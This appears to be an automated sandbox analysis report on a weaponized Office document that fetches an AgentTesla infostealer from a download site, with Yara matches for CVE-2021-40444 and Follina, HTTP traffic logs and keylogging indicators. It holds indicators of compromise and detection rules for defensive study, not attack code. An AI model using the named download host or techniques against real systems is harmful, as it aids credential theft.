Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://settings.outlook.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://shell.suite.office.com:1443
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://skyapi.live.net/Activity/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://staging.cortana.ai
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://store.office.cn/addinstemplate
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://store.office.de/addinstemplate
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://substrate.office.com/Notes-Internal.ReadWrite
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://tasks.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://web.microsoftstream.com/video/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://webshell.suite.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://wus2.contentsync.
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://wus2.pagecontentsync.
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://www.odwebp.svc.ms
Source: PROMZwFp385vXrN.exe, 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www
Source: unknown DNS traffic detected: queries for: pzsrblog.com
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2012/PROMZwFp385vXr HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: pzsrblog.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2012/PROMZwFp385vXr HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: pzsrblog.comIf-Modified-Since: Tue, 20 Dec 2022 05:25:57 GMTConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2012/PROMZwFp385vXr HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pzsrblog.comIf-Modified-Since: Tue, 20 Dec 2022 05:25:57 GMTConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2012/PROMZwFp385vXrN.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pzsrblog.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49701
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 20 Dec 2022 13:14:24 GMTContent-Type: text/html; charset=utf-8Content-Length: 19268Connection: closeServer: LiteSpeedlast-modified: Tue, 25 Jan 2022 07:44:20 GMTetag: "4b44-61efaa54-78a64b804597b561;;;"accept-ranges: bytesx-turbo-charged-by: LiteSpeed
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 20 Dec 2022 13:14:30 GMTContent-Type: text/html; charset=utf-8Content-Length: 19268Connection: closeServer: LiteSpeedlast-modified: Tue, 25 Jan 2022 07:44:20 GMTetag: "4b44-61efaa54-78a64b804597b561;;;"accept-ranges: bytesx-turbo-charged-by: LiteSpeed
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 20 Dec 2022 13:14:34 GMTContent-Type: text/html; charset=utf-8Content-Length: 19268Connection: closeServer: LiteSpeedlast-modified: Tue, 25 Jan 2022 07:44:20 GMTetag: "4b44-61efaa54-78a64b804597b561;;;"accept-ranges: bytesx-turbo-charged-by: LiteSpeed
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 20 Dec 2022 13:14:36 GMTContent-Type: text/html; charset=utf-8Content-Length: 19268Connection: closeServer: LiteSpeedlast-modified: Tue, 25 Jan 2022 07:44:20 GMTetag: "4b44-61efaa54-78a64b804597b561;;;"accept-ranges: bytesx-turbo-charged-by: LiteSpeed
Source: unknown HTTPS traffic detected: 118.27.125.229:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown HTTPS traffic detected: 118.27.125.229:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 118.27.125.229:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.5:49727 version: TLS 1.2
Creates a DirectInput object (often for capturing keystrokes)
Source: PMoZbw.exe, 00000013.00000002.616474062.0000000001218000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 19.2.PMoZbw.exe.3ee9510.1.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 19.2.PMoZbw.exe.3ee9510.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 19.2.PMoZbw.exe.3ee9510.1.raw.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 19.2.PMoZbw.exe.3ee9510.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.raw.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 00000013.00000002.642900479.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 00000013.00000002.644029749.000000000411D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 0000000F.00000002.581985407.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 00000011.00000000.544511148.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: Process Memory Space: PROMZwFp385vXrN.exe PID: 5444, type: MEMORYSTR Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: Process Memory Space: PROMZwFp385vXrN.exe PID: 1788, type: MEMORYSTR Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: Process Memory Space: PMoZbw.exe PID: 3300, type: MEMORYSTR Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
.NET source code contains very large array initializations
Source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b60B8AA9Fu002dD6E9u002d485Du002d90E4u002dF4EB08C8FB98u007d/u00368DDB562u002dB705u002d46E4u002d9F6Fu002d1E7B20C2B6F8.cs Large array initialization: .cctor: array initializer size 10987
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_05B713B8 15_2_05B713B8
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_05B70C50 15_2_05B70C50
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_05B7E33F 15_2_05B7E33F
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_05B7E350 15_2_05B7E350
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766BFC0 15_2_0766BFC0
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_07666573 15_2_07666573
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766D531 15_2_0766D531
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766ADE0 15_2_0766ADE0
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_07662DF0 15_2_07662DF0
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766B428 15_2_0766B428
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766CB51 15_2_0766CB51
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766E3E8 15_2_0766E3E8
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_07668120 15_2_07668120
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766BF3D 15_2_0766BF3D
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_076677A0 15_2_076677A0
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766E373 15_2_0766E373
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_07663B48 15_2_07663B48
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766E300 15_2_0766E300
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766E31E 15_2_0766E31E
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766F2E0 15_2_0766F2E0
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_0766F2D1 15_2_0766F2D1
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C353CA 15_2_08C353CA
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C30CB0 15_2_08C30CB0
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C38460 15_2_08C38460
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C3BD38 15_2_08C3BD38
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C33F58 15_2_08C33F58
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C358F8 15_2_08C358F8
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C30880 15_2_08C30880
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C30890 15_2_08C30890
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C34098 15_2_08C34098
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C38179 15_2_08C38179
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C30AA9 15_2_08C30AA9
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C30AB8 15_2_08C30AB8
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C30CAE 15_2_08C30CAE
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C34432 15_2_08C34432
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C30660 15_2_08C30660
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C35E6A 15_2_08C35E6A
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C30670 15_2_08C30670
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C317C8 15_2_08C317C8
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C317E0 15_2_08C317E0
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C39F90 15_2_08C39F90
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C33F48 15_2_08C33F48
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C38712 15_2_08C38712
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C38720 15_2_08C38720
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_015AFA60 17_2_015AFA60
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_015A6C60 17_2_015A6C60
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_061BC7D8 17_2_061BC7D8
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_061B0040 17_2_061B0040
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_061B0910 17_2_061B0910
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_061B29F8 17_2_061B29F8
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_06D39838 17_2_06D39838
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_06D3B9AD 17_2_06D3B9AD
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_06D325F8 17_2_06D325F8
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_06D3BD28 17_2_06D3BD28
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_06D3D2F0 17_2_06D3D2F0
Tries to load missing DLLs
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Section loaded: sfc.dll Jump to behavior
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Windows\Temp\SDIAG_4fa3b06e-fc60-4be1-bad6-e51754719c96\DiagPackage.dll 456AE5D9C48A1909EE8093E5B2FAD5952987D17A0B79AAE4FFF29EB684F938A8
Yara signature match
Source: document.xml.rels, type: SAMPLE Matched rule: EXPL_CVE_2021_40444_Document_Rels_XML date = 2021-09-10, author = Jeremy Brown / @alteredbytes, description = Detects indicators found in weaponized documents that exploit CVE-2021-40444, reference = https://twitter.com/AlteredBytes/status/1435811407249952772
Source: 19.2.PMoZbw.exe.3ee9510.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 19.2.PMoZbw.exe.3ee9510.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 19.2.PMoZbw.exe.3ee9510.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 19.2.PMoZbw.exe.3ee9510.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 00000013.00000002.642900479.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 00000013.00000002.644029749.000000000411D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 0000000F.00000002.581985407.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 00000011.00000000.544511148.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 00000004.00000002.443928624.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: 00000004.00000002.443908283.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: Process Memory Space: msdt.exe PID: 4760, type: MEMORYSTR Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: Process Memory Space: PROMZwFp385vXrN.exe PID: 5444, type: MEMORYSTR Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: Process Memory Space: PROMZwFp385vXrN.exe PID: 1788, type: MEMORYSTR Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: Process Memory Space: PMoZbw.exe PID: 3300, type: MEMORYSTR Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
PE file does not import any functions
